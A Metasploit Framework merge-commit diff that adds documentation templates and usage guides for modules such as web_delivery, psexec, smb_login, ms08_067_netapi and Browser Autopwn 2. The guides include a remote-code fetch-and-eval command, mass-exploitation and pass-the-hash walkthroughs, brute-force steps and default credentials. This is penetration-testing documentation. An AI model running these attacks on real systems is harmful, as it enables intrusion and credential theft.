Merge branch 'upstream-master' into staging/rails-upgrade

bug/bundler_fix
Brent Cook 2016-03-29 15:56:50 -05:00
commit b8d53dde4a
57 changed files with 4552 additions and 483 deletions

View File

@ -27,6 +27,8 @@ group :development do
gem 'yard'
# for development and testing purposes
gem 'pry'
# module documentation
gem 'octokit', '~> 4.0'
# rails-upgrade staging gems
end

View File

@ -81,7 +81,7 @@ GIT
PATH
remote: .
specs:
metasploit-framework (4.11.15)
metasploit-framework (4.11.20)
actionpack (>= 4.1.0, < 4.2.0)
activerecord (>= 4.1.0, < 4.2.0)
activesupport (>= 4.1.0, < 4.2.0)
@ -91,10 +91,11 @@ PATH
json
metasm (~> 1.0.2)
metasploit-model (= 1.1.0)
metasploit-payloads (= 1.1.2)
metasploit-payloads (= 1.1.4)
msgpack
network_interface (~> 0.0.1)
nokogiri
octokit
openssl-ccm (= 1.2.1)
packetfu (= 1.1.11)
pcaprub
@ -102,6 +103,7 @@ PATH
railties
rb-readline-r7
recog (= 2.0.14)
redcarpet
robots
rubyzip (~> 1.1)
sqlite3
@ -136,6 +138,7 @@ GEM
minitest (~> 5.1)
thread_safe (~> 0.1)
tzinfo (~> 1.1)
addressable (2.3.8)
arel (5.0.1.20140414130214)
arel-helpers (2.2.0)
activerecord (>= 3.1.0, < 5)
@ -176,6 +179,8 @@ GEM
factory_girl_rails (4.5.0)
factory_girl (~> 4.5.0)
railties (>= 3.0.0)
faraday (0.9.2)
multipart-post (>= 1.2, < 3)
ffi (1.9.8)
filesize (0.1.1)
fivemat (1.3.2)
@ -188,7 +193,7 @@ GEM
mail (2.6.3)
mime-types (>= 1.16, < 3)
metasm (1.0.2)
metasploit-payloads (1.1.2)
metasploit-payloads (1.1.4)
method_source (0.8.2)
mime-types (2.99.1)
mini_portile2 (2.0.0)
@ -196,9 +201,12 @@ GEM
msgpack (0.7.4)
multi_json (1.11.2)
multi_test (0.1.2)
multipart-post (2.0.0)
network_interface (0.0.1)
nokogiri (1.6.7.2)
mini_portile2 (~> 2.0.0.rc2)
octokit (4.2.0)
sawyer (~> 0.6.0, >= 0.5.3)
openssl-ccm (1.2.1)
packetfu (1.1.11)
network_interface (~> 0.0)
@ -264,6 +272,9 @@ GEM
ruby-graphviz (1.2.2)
rubyntlm (0.6.0)
rubyzip (1.2.0)
sawyer (0.6.0)
addressable (~> 2.3.5)
faraday (~> 0.8, < 0.10)
shoulda-matchers (2.8.0)
activesupport (>= 3.0.0)
simplecov (0.9.2)
@ -304,6 +315,7 @@ DEPENDENCIES
metasploit-model!
metasploit-yard!
metasploit_data_models!
octokit (~> 4.0)
pry
rake (~> 10.5)
redcarpet
@ -313,3 +325,6 @@ DEPENDENCIES
timecop
yard
yard-metasploit-erd!
BUNDLED WITH
1.11.2

View File

@ -0,0 +1,29 @@
This module is a scanner module, and is capable of testing against multiple hosts.
```
msf > use <%= mod.fullname %>
msf <%= mod.type %>(<%= mod.shortname %>) > show options
... show and set options ...
msf <%= mod.type %>(<%= mod.shortname %>) > set RHOSTS ip-range
msf <%= mod.type %>(<%= mod.shortname %>) > exploit
```
Other examples of setting the RHSOTS option:
Example 1:
```
msf <%= mod.type %>(<%= mod.shortname %>) > set RHOSTS 192.168.1.3-192.168.1.200
```
Example 2:
```
msf <%= mod.type %>(<%= mod.shortname %>) > set RHOSTS 192.168.1.1/24
```
Example 3:
```
msf <%= mod.type %>(<%= mod.shortname %>) > set RHOSTS file:///tmp/ip_list.txt
```

View File

@ -0,0 +1,15 @@
```
msf > use <%= mod.fullname %>
msf <%= mod.type %>(<%= mod.shortname %>) > run
```
This module is also supported by Browser Autopwn 2.
To load it from Browser Autopwn 2, here's how:
```
msf > use auxiliary/server/browser_autopwn2
msf auxiliary(browser_autopwn2) > set INCLUDE_PATTERN <%= mod.shortname %>
INCLUDE_PATTERN => <%= mod.shortname %>
msf auxiliary(browser_autopwn2) > exploit
```

View File

@ -0,0 +1,50 @@
## <%= items[:mod_name] %>
<p>
<%= normalize_description(items[:mod_description]) %>
</p>
## Module Name
<%= Rex::Text.html_encode(items[:mod_fullname]) %>
## Authors
<%= normalize_authors(items[:mod_authors]) %>
<% unless items[:mod_platforms].empty? %>
## Platforms
<%= normalize_platforms(items[:mod_platforms]) %>
<% end %>
## Reliability
<%= normalize_rank(items[:mod_rank]) %>
## Related Pull Requests
<%= normalize_pull_requests(items[:mod_pull_requests]) %>
<% unless items[:mod_refs].empty? %>
## References
<%= normalize_references(items[:mod_refs]) %>
<% end %>
<% if items[:mod_targets] %>
## Available Targets
<%= normalize_targets(items[:mod_targets]) %>
<% end %>
## Required Options
<% if normalize_options(items[:mod_options]).empty? %>
No options required.
<% else %>
<%= normalize_options(items[:mod_options]) %>
<% end %>
## Basic Usage
<%= normalize_demo_output(items[:mod_demo]) %>

View File

@ -0,0 +1,9 @@
```
msf > use <%= mod.fullname %>
msf <%= mod.type %>(<%= mod.shortname %>) > show targets
... a list of targets ...
msf <%= mod.type %>(<%= mod.shortname %>) > set TARGET target-id
msf <%= mod.type %>(<%= mod.shortname %>) > show options
... show and set options ...
msf <%= mod.type %>(<%= mod.shortname %>) > exploit
```

View File

@ -0,0 +1,54 @@
<html>
<head>
<% unless kb.empty? %>
<script>
function showOverview() {
var overview_info_button = document.getElementById('overview_info_button');
overview_info_button.style.borderColor = "#ccc";
overview_info_button.style.color = "#333";
var knowledge_base_button = document.getElementById('knowledge_base_button');
knowledge_base_button.style.borderColor = "#EEEEEE";
knowledge_base_button.style.color = "#C4C4C4";
document.getElementById('knowledge_base').style.display = "none";
document.getElementById('overview_info').style.display = "inline";
}
function showKnowledge() {
var overview_info_button = document.getElementById('overview_info_button');
overview_info_button.style.borderColor = "#EEEEEE";
overview_info_button.style.color = "#C4C4C4";
var knowledge_base_button = document.getElementById('knowledge_base_button');
knowledge_base_button.style.borderColor = "#ccc";
knowledge_base_button.style.color = "#333";
document.getElementById('overview_info').style.display = "none";
document.getElementById('knowledge_base').style.display = "inline";
}
</script>
<% end %>
<style>
<%= load_css %>
</style>
</head>
<body>
<% unless kb.empty? %>
<table border="0">
<tr>
<th>
<div id="overview_info_button" onClick="showOverview()">Overview</a>
</th>
<th>
<div id="knowledge_base_button" onClick="showKnowledge()">Knowledge Base</a>
</th>
</tr></table>
<p></p>
<% end %>
<div id="overview_info">
<%= r.render(md) %>
</div>
<% unless kb.empty? %>
<div id="knowledge_base">
<%= r.render(kb) %>
</div>
<% end %>
</body>
</html>

View File

@ -0,0 +1,4 @@
```
msf > use <%= mod.fullname %>
msf <%= mod.type %>(<%= mod.shortname %>) > exploit
```

View File

@ -0,0 +1,14 @@
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the ```sessions``` command.
```
msf > use <%= mod.fullname %>
msf <%= mod.type %>(<%= mod.shortname %>) > show targets
... a list of targets ...
msf <%= mod.type %>(<%= mod.shortname %>) > set TARGET target-id
msf <%= mod.type %>(<%= mod.shortname %>) > show options
... show and set options ...
msf <%= mod.type %>(<%= mod.shortname %>) > set SESSION session-id
msf <%= mod.type %>(<%= mod.shortname %>) > exploit
```

View File

@ -0,0 +1,258 @@
h1, h2, h3, h4, h5, h6, p, blockquote {
margin: 0;
padding: 0;
}
body {
font-family: Arial, "Helvetica Neue", Helvetica, "Hiragino Sans GB", sans-serif;
font-size: 16px;
line-height: 18px;
color: #737373;
margin: 10px 13px 10px 13px;
}
a {
color: #0069d6;
}
a:hover {
color: #0050a3;
text-decoration: none;
}
a img {
border: none;
}
p {
margin-bottom: 16px;
}
h1, h2, h3, h4, h5, h6 {
color: #404040;
line-height: 36px;
}
h1 {
margin-bottom: 18px;
font-size: 30px;
}
h2 {
font-size: 24px;
margin-bottom: 16px;
}
h3 {
font-size: 18px;
margin-bottom: 16px;
}
h4 {
font-size: 16px;
margin-bottom: 16px;
}
h5 {
font-size: 16px;
margin-bottom: 16px;
}
h6 {
font-size: 13px;
margin-bottom: 16px;
}
hr {
margin: 0 0 19px;
border: 0;
border-bottom: 1px solid #eee;
}
blockquote {
padding: 13px 13px 21px 15px;
margin-bottom: 18px;
font-family:georgia,serif;
font-style: italic;
}
blockquote:before {
content:"\201C";
font-size:40px;
margin-left:-10px;
font-family:georgia,serif;
color:#eee;
}
blockquote p {
font-size: 16px;
font-weight: 300;
line-height: 18px;
margin-bottom: 0;
font-style: italic;
}
code, pre {
font-family: Monaco, Andale Mono, Courier New, monospace;
}
code {
background-color: #eee;
color: rgba(0, 0, 0, 0.75);
padding: 1px 3px;
font-size: 13px;
-webkit-border-radius: 3px;
-moz-border-radius: 3px;
border-radius: 3px;
}
pre {
display: block;
padding: 16px;
margin: 0 0 18px;
line-height: 16px;
font-size: 13px;
border: 1px solid #d9d9d9;
white-space: pre-wrap;
word-wrap: break-word;
}
pre code {
background-color: #fff;
color:#737373;
font-size: 13px;
padding: 0;
}
@media screen and (min-width: 768px) {
body {
width: 748px;
margin:10px auto;
}
}
#overview_info_button {
font-family:Arial, sans-serif;
font-size:16px;
padding:10px 5px;
border-style:solid;
border-width:1px;
border-color:#ccc;
color:#333;
}
#knowledge_base_button {
font-family:Arial, sans-serif;
font-size:16px;
padding:10px 5px;
border-style:solid;
border-width:1px;
border-color:#EEEEEE;
color:#C4C4C4;
}
#overview_info_button:hover, #knowledge_base_button:hover {
cursor: pointer;
}
#knowledge_base {
display: none;
}
#long_list {
height:280px;
overflow:auto;
border-style: solid;
border-width: 1px;
border-color: #ccc;
padding: 5px;
}
/*
Description: Foundation 4 docs style for highlight.js
Author: Dan Allen <dan.j.allen@gmail.com>
Website: http://foundation.zurb.com/docs/
Version: 1.0
Date: 2013-04-02
*/
pre code {
display: block; padding: 0.5em;
background: #eee;
}
pre .decorator,
pre .annotation {
color: #000077;
}
pre .attribute {
color: #070;
}
pre .value,
pre .string,
pre .scss .value .string {
color: #d14;
}
pre .comment {
color: #998;
font-style: italic;
}
pre .function .title {
color: #900;
}
pre .class {
color: #458;
}
pre .id,
pre .pseudo,
pre .constant,
pre .hexcolor {
color: teal;
}
pre .variable {
color: #336699;
}
pre .javadoc {
color: #997700;
}
pre .pi,
pre .doctype {
color: #3344bb;
}
pre .number {
color: #099;
}
pre .important {
color: #f00;
}
pre .label {
color: #970;
}
pre .preprocessor {
color: #579;
}
pre .reserved,
pre .keyword,
pre .scss .value {
color: #000;
}
pre .regexp {
background-color: #fff0ff;
color: #880088;
}
pre .symbol {
color: #990073;
}
pre .symbol .string {
color: #a60;
}
pre .tag {
color: #007700;
}
pre .at_rule,
pre .at_rule .keyword {
color: #088;
}
pre .at_rule .preprocessor {
color: #808;
}
pre .scss .tag,
pre .scss .attribute {
color: #339;
}

View File

@ -0,0 +1,8 @@
```
msf > use <%= mod.fullname %>
msf <%= mod.type %>(<%= mod.shortname %>) > show options
... show and set options ...
msf <%= mod.type %>(<%= mod.shortname %>) > generate
```
To learn how to generate <%= mod.fullname %> with msfvenom, please [read this](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom).

View File

@ -0,0 +1,44 @@
There are two ways to execute this post module.
**From the Meterpreter prompt**
The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post
module against that specific session:
```
meterpreter > run <%= mod.fullname %>
```
**From the msf prompt**
The second is by using the "use" command at the msf prompt. You will have to figure out which
session ID to set manually. To list all session IDs, you can use the "sessions" command.
```
msf > use <%= mod.fullname %>
msf <%= mod.type %>(<%= mod.shortname %>) > show options
... show and set options ...
msf <%= mod.type %>(<%= mod.shortname %>) > set SESSION session-id
msf <%= mod.type %>(<%= mod.shortname %>) > exploit
```
If you wish to run the post against all sessions from framework, here is how:
1 - Create the following resource script:
```
<ruby>
framework.sessions.each_pair do |sid, session|
run_single("use <%= mod.fullname %>")
run_single("set SESSION #{sid}")
run_single("run")
end
</ruby>
```
2 - At the msf prompt, execute the above resource script:
```
msf > resource path-to-resource-script
```

View File

@ -0,0 +1,99 @@
**Using <%= mod.shortname %> against a single host**
Normally, you can use <%= mod.fullname %> this way:
```
msf > use <%= mod.fullname %>
msf <%= mod.type %>(<%= mod.shortname %>) > show targets
... a list of targets ...
msf <%= mod.type %>(<%= mod.shortname %>) > set TARGET target-id
msf <%= mod.type %>(<%= mod.shortname %>) > show options
... show and set options ...
msf <%= mod.type %>(<%= mod.shortname %>) > exploit
```
**Using <%= mod.shortname %> against multiple hosts**
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your
<%= mod.shortname %> will be using:
1. Do: ```use exploit/multi/handler```
2. Do: ```set PAYLOAD [payload]```
3. Set other options required by the payload
4. Do: ```set EXITONSESSION false```
5. Do: ```run -j```
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and
payload options accordingly:
```
&#x3c;ruby&#x3e;
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use <%= mod.fullname %>")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
&#x3c;/ruby&#x3e;
```
Next, run the resource script in the console:
```
msf > resource [path-to-resource-script]
```
And finally, you should see that the exploit is trying against those hosts similar to the following
MS08-067 example:
```
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
```

View File

@ -0,0 +1,41 @@
The auxiliary/scanner/http/tomcat_mgr_login works for Tomcat versions that uses HTTP
authentication.
Please note that for Tomcat 7 or newer, the roles required to use the manager application were
changed from the single manager role to the following four roles:
* manager-gui - Allows access to the HTML GUI and the status pages.
* manager-script - Allows access to the text interface and the status pages.
* manager-jmx - Allows access to the JMX and the status pages.
* manager-status - allows access to the status pages only.
Older versions of Tomcat came with default passwords enabled by default. For example:
**Tomcat 4**
| Username | Password | Role |
| -------- | -------- | ------------- |
| tomcat | tomcat | tomcat |
| role1 | tomcat | role1 |
| both | tomcat | tomcat, role1 |
**Tomcat 5**
Same as Tomcat 4
Newer Tomcat versions have these passwords commented out.
If you are using the default Metasploit credential lists, these usernames and passwords are already
loaded.
## Vulnerable Application
To download the vulnerable application, you can find it here: https://tomcat.apache.org/whichversion.html.
## Verification Steps
1. Do: ```auxiliary/scanner/http/tomcat_mgr_login```
2. Do: ```set RHOSTS [IP]```
3. Set TARGETURI if necessary.
4. Do: ```run```

View File

@ -0,0 +1,117 @@
The smb_login module is used to bruteforce SMB remotely. SMB credentials are extra valuable because they are system credentials, and you can probably reuse some of them to log in to more machines.
## Vulnerable Application
To use smb_login, make sure you are able to connect to a SMB service that supports SMBv1.
## Verification Steps
The following demonstrates a basic scenario of using the [built-in wordlists](https://github.com/rapid7/metasploit-framework/tree/master/data/wordlists) to brute-force SMB:
```
msf > use auxiliary/scanner/smb/smb_login
msf auxiliary(smb_login) > set RHOSTS 192.168.1.80
RHOSTS => 192.168.1.80
msf auxiliary(smb_login) > set USER_FILE /Users/wchen/rapid7/msf/data/wordlists/unix_users.txt
USER_FILE => /Users/wchen/rapid7/msf/data/wordlists/unix_users.txt
msf auxiliary(smb_login) > set PASS_FILE /Users/wchen/rapid7/msf/data/wordlists/unix_passwords.txt
PASS_FILE => /Users/wchen/rapid7/msf/data/wordlists/unix_passwords.txt
msf auxiliary(smb_login) > run
[+] 192.168.1.80:445 - 192.168.1.80:445 SMB - Success: '.\root:monkey' Administrator
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(smb_login) >
```
If you have a database connected, you should also see this credential logged:
```
msf auxiliary(smb_login) > creds
Credentials
===========
host origin service public private realm private_type
---- ------ ------- ------ ------- ----- ------------
192.168.1.80 192.168.1.80 445/tcp (smb) root monkey Password
msf auxiliary(smb_login)
```
## Options
By default, the smb_login module only requires the RHOSTS option to run. But in reality, you will
also need to supply user names and passwords. The following options are available to support
different credential formats:
**The USER_FILE option**
If you happen to manage all the found user names in a separate file, then this option would be
suitable for that. One per line.
An example of setting USER_FILE:
```
set USER_FILE [path to file]
```
**The PASS_FILE option**
If you happen to manage all the found passwords in a separate file, then this option would be
suitable for that. One per line.
```
set PASS_FILE [path to file]
```
**The USERPASS_FILE option**
If each user should be using a specific password in your file, then you can use this option. One
username/password per line:
```
set USERPASS_FILE [path to file]
```
**The DB_ALL_CREDS option**
This option allows you to reuse all the user names and passwords collected by the database:
```
set DB_ALL_CREDS true
```
**The DB_ALL_PASS option**
This option allows you to reuse all the passwords collected by the database.
```
set DB_ALL_PASS true
```
**The DB_ALL_USERS option**
This option allows you to reuse all the user names collected by the database.
```
set DB_ALL_USERS true
```
**The SMBUser option**
If you are testing a specific user, use this option.
```
set SMBUser [user name]
```
**The SMBPass option**
If you are testing a specific password, use this option.
```
set SMBPass [password]
```
Note: If an account has been successfully brute-forced, that account will not be tried again.

View File

@ -0,0 +1,176 @@
Browser Autopwn 2 is a complete redesign from the first one, so quite a few things will look and
feel different for you. Here are the features you should know about before using.
## Vulnerable Applications
Browser Autopwn 2 is capable of targeting popular browsers and 3rd party plugins, such as:
* Internet Explorer
* Mozilla Firefox
* Adobe Flash
* Java
* ActiveX
* Silverlight
## Exploit URLs
Normally, the only URL you need to care about is the **BrowserAutoPwn URL**. This is the URL
you should send to the targets you wish to attack.
For debugging purposes, you can also see each browser exploit's specific URL path. You can do so
by setting the VERBOSE option to true in msfconsole, like this:
```
set VERBOSE true
```
And then when you run the module, there will be a list showing all the exploits that might be
used, including the URLs.
## Browser Autopwn 2 Options
**The HTMLContent Option**
The HTMLContent option allows you to serve a basic HTML web page to the browser instead of having a
blank one. It supports two syntaxes.
This example will basically print "Hello world!" on the browser while exploits are tested against
it.
```
set HTMLContent Hello world!
```
This example will load file /tmp/hello_world.html and that's what the browser will see. Most likely
the second syntax is how you'd want to use the Content option.
Keep in mind that you should probably try to keep HTMLContent as simple as possible, otherwise
there is a possibility that it might actually influence the reliability of the exploits, especially
the ones that do memory corruption.
**The EXCLUDE_PATTERN option**
The EXCLUDE_PATTERN option is used for excluding exploit file names you don't want Browser
Autopwn 2 to use. This is a regex type option, you can be creative about this.
For example, Adobe Flash exploits in Metasploit tend to have the same file name that begins with:
"adobe_flash_", so to exclude those, you can do:
```
set EXCLUDE_PATTERN adobe_flash
```
**The INCLUDE_PATTERN option**
The INCLUDE_PATTERN option is for loading specific exploits that you want Browser Autopwn 2 to use.
Let's reuse the Adobe Flash file name example, if you only want Flash exploits, you can do:
```
set INCLUDE_PATTERN adobe_flash
```
If you set both INCLUDE_PATTERN and EXCLUDE_PATTERN, the evaluation for INCLUDE_PATTERN will kick
in first, followed by EXCLUDE_PATTERN.
**The MaxExploitCount option**
The MaxExploitCount option is for specifying how many exploits you want Browser Autopwn 2 to load.
By default, it's 21. But you can try to bump it up a little bit if you wish to try more exploits.
Note that by doing so you are also allowing more lower ranking modules to kick in, you will have
to figure out the sweet spot for it. An example of setting it:
```
set MaxExploitCount 30
```
**The MaxSessionCount option**
The MaxSessionCount option is for limiting how many sessions to get. It may sound a little odd at
first because why would you want to do that, right? Well, a use case for this is when you don't
actually want to pop shells, instead you just want to know what exploits could be used, this is
something you can try. You can also use this if you don't want your attack to stay open the whole
time:
```
set MaxSessionCount 10
```
**The ShowExploitList option**
The ShowExploitList option means displaying a list of exploits specific to each browser/client.
As we've explained before, when BAP2 loads 21 exploits, probably not all 21 will be served to
the browser, only some of them. In order to see those ones, you need to set this option:
```
set ShowExploitList true
```
**The AllowedAddresses option**
The AllowedAddresses option is for attacking a specific range of IPs as a way to avoid penetration
testing accidents. For example, when you send a malicious link to a specific person, that person
may actually share it with his friends, family or other people, and those people aren't your
targets so you shouldn't hit them. Well, Browser Autopwn doesn't know that, so one of the ways to
avoid that is to create a whitelist.
The option also supports two syntaxes. This is most likely how you will set it:
```
set AllowedAddresses file:///tmp/ip_list.txt
```
The above will load file ip_list.txt. In that file, one IP per line.
**The ExploitReloadTimeout option**
The ExploitReloadTimeout is for setting how long BAP2 should wait before loading the next exploit.
By default, it's 3 seconds, but in case some exploits need more time (for example, longer time to
groom the heap, load other things, or it's doing a sleep somewhere), you will need to set this.
In most cases, you shouldn't have to.
Here's an example of setting it to 5 seconds:
```
set ExploitReloadTimeout 5000
```
## Scenarios
By default, Browser Autopwn 2 goes through the entire exploit module tree, and will try to use
different types of exploits - Firefox, Internet Explorer, Adobe Flash, Android, etc. If you want to
test a specific application, basically all you need to do is setting the
INCLUDE_PATTERN option (or maybe EXCLUDE_PATTERN).
However, there is another trick to make this task even easier. BAP2 also comes with the following
resource scripts that can automatically do this:
* bap_firefox_only.rc - For testing Firefox
* bap_flash_only.rc - Fore testing Adobe Flash
* bap_ie_only.rc - For testing Internet Explorer
* bap_dryrun_only.rc - Rickrolls the target, and shows you all the suitable exploits against that target. No exploits will actually be fired.
Here's an example of using bap_flash_only.rc to test Adobe Flash vulnerabilities:
```
$ ./msfconsole -q -r scripts/resource/bap_flash_only.rc
```
## Logging
In addition, when a browser connects to BAP, this link-clicking event is also logged to the
database as a "bap.clicks" note type. If the ShowExploitList option is set to true, that will also
save the exploit list information so that after testing you can go back to the database and see
which users are vulnerable to what exploits.
Even if you don't set the ShowExploitList option, the logged link-clicking event data is more than
enough to prove that the user was social-engineered, which is still a security risk.
To see all the bap.clicks events, in msfconsole do:
```
notes -t bap.clicks
```
From there, you can do additional analysis of these notes, put it on your report, and hopefully
do something about it.

View File

@ -0,0 +1,76 @@
As a web server, the web_delivery module provides a stealthy way to deliver a payload during post exploitation because the payload does not touch the disk.
Currently, web_delivery supports three different languages for delivery: Python, PHP, and
Powershell. You should be able to tell which one you can use based on the target environment
you are in.
For example, if you gained access through a PHP application, it's safe to assume you can use PHP. If you're in a Windows server, such as Windows Server 2008, then it's probably safe to say the target supports Powershell.
## Verification Steps
To be able to use the web_delivery module, you must gain access to the target machine first, with the ability to execute either the Python, or PHP, or Powershell interpreter.
At that point, you would use the web_delivery module like in the following example:
1. Start msfconsole
2. Run: ```use exploit/multi/script/web_delivery```
3. Run: ```set target 1``` (1 is PHP. You can use ```show targets``` to see other options)
4. Run: ```set PAYLOAD php/meterpreter/reverse_tcp``` (You can do ```show payloads``` to see what options are suitable for the target)
5. Run: ```set LHOST IP``` (The IP the payload should connect back to)
6. Do: ```run```
7. At this point, a handler is up for that payload, and the module should instruct you to execute a command.
8. Copy the command. Depending on your pentesting scenario, you can either inject the
command and get code execution, or run it from the target's shell and get a session:
```
msf exploit(web_delivery) > run
[*] Exploit running as background job.
[*] Started reverse TCP handler on 172.16.23.1:4444
msf exploit(web_delivery) > [*] Using URL: http://0.0.0.0:8080/z5inGkwCCQiz9
[*] Local IP: http://10.6.0.86:8080/z5inGkwCCQiz9
[*] Server started.
[*] Run the following command on the target machine:
php -d allow_url_fopen=true -r "eval(file_get_contents('http://172.16.23.1:8080/z5inGkwCCQiz9'));"
[*] Delivering Payload
[*] Sending stage (33684 bytes) to 172.16.23.134
[*] Meterpreter session 1 opened (172.16.23.1:4444 -> 172.16.23.134:41684) at 2016-03-02 11:41:34 -0600
```
## Targets
**Python**
Python is a fairly popular language, especially on Unix-based systems. By default, it has come with Ubuntu Linux since 8.04, as well as Debian, and Mac OS X since 10.3.
**PHP**
PHP is a fairly popular language for web servers, especially Apache.
**Powershell/Windows**
Powershell is a popular language for newer Windows systems. Windows 7 and Windows Server 2008 R2
are the first Windows versions to come with Powershell by default. Older Windows systems such as XP
don't come with it by default, but it is still possible to see it installed on a corporate network.
## Scenarios
**Against a compromised web application**
web_delivery would work nicely for a web application with a command execution vulnerability.
One way to approach this would be:
1. Start exploit/multi/script/web_delivery
2. Use [Burp Suite](https://portswigger.net/burp/) to intercept the HTTP/HTTPS request, place the command in the parameter that results in arbitrary code execution.
3. Hopefully the modified HTTP/HTTPS request is successful, and you should get a session.
**Shell upgrade**
web_delivery is also useful to upgrade a shell type payload to a Meterpreter one.
Here's how that can be done:
1. Start exploit/multi/script/web_delivery that generates/
2. In msfconsole, interact with the shell, and copy/paste the command.
3. You should get a Meterpreter session.

View File

@ -0,0 +1,59 @@
ms08_067_netapi is one of the most popular remote exploits against Microsoft Windows. It is
considered a reliable exploit, and allows you to gain access as SYSTEM - the highest Windows
privilege. In modern day penetration test, this exploit would most likely be used in an internal
environment, and not so much from external due to the likelihood of a firewall.
The check command of ms08_067_netapi is also highly accurate, because it is actually testing the
vulnerable code path, not just passively.
## Vulnerable Application
This exploit works against a vulnerable SMB service from one of these Windows systems:
* Windows 2000
* Windows XP
* Windows 2003
To reliability determine whether the machine is vulnerable, you will have to either examine
the system's patch level, or use a vulnerability check.
## Verification Steps
Please see Basic Usage under Overview.
## Options
Please see Required Options under Overview.
## Scenarios
**Failure to detect the language pack**
On some Windows systems, ms08_067_netapi (as well as other SMB modules) might show you this
message:
> Windows 2003 R2 Service Pack 2 - lang:Unknown
This is because the targeted system does not allow itself to be enumerated without authentication.
In this case, either you can set the username and password to be able to use automatic detection,
like this:
```
set SMBUSER [username]
set SMBPASS [password]
```
Or you must manually set the target with the correct language, for example:
```
set target [target ID]
```
**Unsafe configuration of LHOST**
Although ms08_067_netapi is reliable enough for a memory corruption exploit, it has its own
denial-of-service moments. One scenario is when the LHOST option is incorrectly configured,
which could result the SMB to crash.

View File

@ -0,0 +1,120 @@
psexec is one of the most popular exploits against Microsoft Windows. It is a great way to test password security and demonstrate how a stolen password could lead to a complete compromise of an entire corporate network.
The Metasploit Framework actually includes different module types of psexec for different scenarios. exploit/windows/smb/psexec is the father of them all and is used the same way
you normally would with any Metasploit exploits.
## Vulnerable Application
To be able to use exploit/windows/smb/psexec:
1. You must have a valid username/password.
2. The firewall must allow SMB traffic.
3. The target must use SMBv1.
4. The remote Windows machine's network security policy must allow it. If you see [one of these errors](https://github.com/rapid7/metasploit-framework/wiki/What-does-my-Rex%3A%3AProto%3A%3ASMB-Error-mean%3F), then the Windows machine does not allow it.
## Verification Steps
At the minimum, you should be able use psexec to get a session with a valid credential using the following:
```
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set RHOST 192.168.1.80
RHOST => 192.168.1.80
msf exploit(psexec) > set SMBUser Administrator
SMBUser => Administrator
msf exploit(psexec) > set SMBPass goodpass
SMBPass => goodpass
msf exploit(psexec) > exploit
[*] Started reverse TCP handler on 192.168.1.199:4444
[*] 192.168.1.80:445 - Connecting to the server...
[*] 192.168.1.80:445 - Authenticating to 192.168.1.80:445 as user 'Administrator'...
[*] 192.168.1.80:445 - Selecting native target
[*] 192.168.1.80:445 - Uploading payload...
[*] 192.168.1.80:445 - Created \PTIhqIrQ.exe...
[+] 192.168.1.80:445 - Service started successfully...
[*] 192.168.1.80:445 - Deleting \PTIhqIrQ.exe...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1042) at 2016-03-01 16:51:56 -0600
meterpreter >
```
## Options
By default, using exploit/windows/smb/psexec can be as simple as setting the RHOST option, and you're ready to go. But in reality, you will probably need to at least configure:
**The SMBUser Option**
This is a valid Windows username.
**The SMBPass option**
This can be either the plain text version or the Windows hash.
## Scenarios
**Pass the Hash**
One common penetration testing scenario using psexec is that attackers usually begin by breaking into a box, dumping the hashes, and using some of those hashes to log into other boxes on the network using psexec. So in that scenario, with the following stolen hash:
```
meterpreter > hashdump
Administrator:500:e39baff0f2c5fd4e93e28745b8bf4ba6:f4974ee4a935ee160a927eafbb3f317f:::
```
You can simply copy and paste it to the SMBPass option in psexec and get a session without needing to crack the hash:
```
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set SMBUser Administrator
SMBUser => Administrator
msf exploit(psexec) > set SMBPass e39baff0f2c5fd4e93e28745b8bf4ba6:f4974ee4a935ee160a927eafbb3f317f
SMBPass => e39baff0f2c5fd4e93e28745b8bf4ba6:f4974ee4a935ee160a927eafbb3f317f
msf exploit(psexec) > set RHOST 192.168.1.80
RHOST => 192.168.1.80
msf exploit(psexec) > exploit
[*] Started reverse TCP handler on 192.168.1.199:4444
[*] 192.168.1.80:445 - Connecting to the server...
[*] 192.168.1.80:445 - Authenticating to 192.168.1.80:445 as user 'Administrator'...
[*] 192.168.1.80:445 - Selecting native target
[*] 192.168.1.80:445 - Uploading payload...
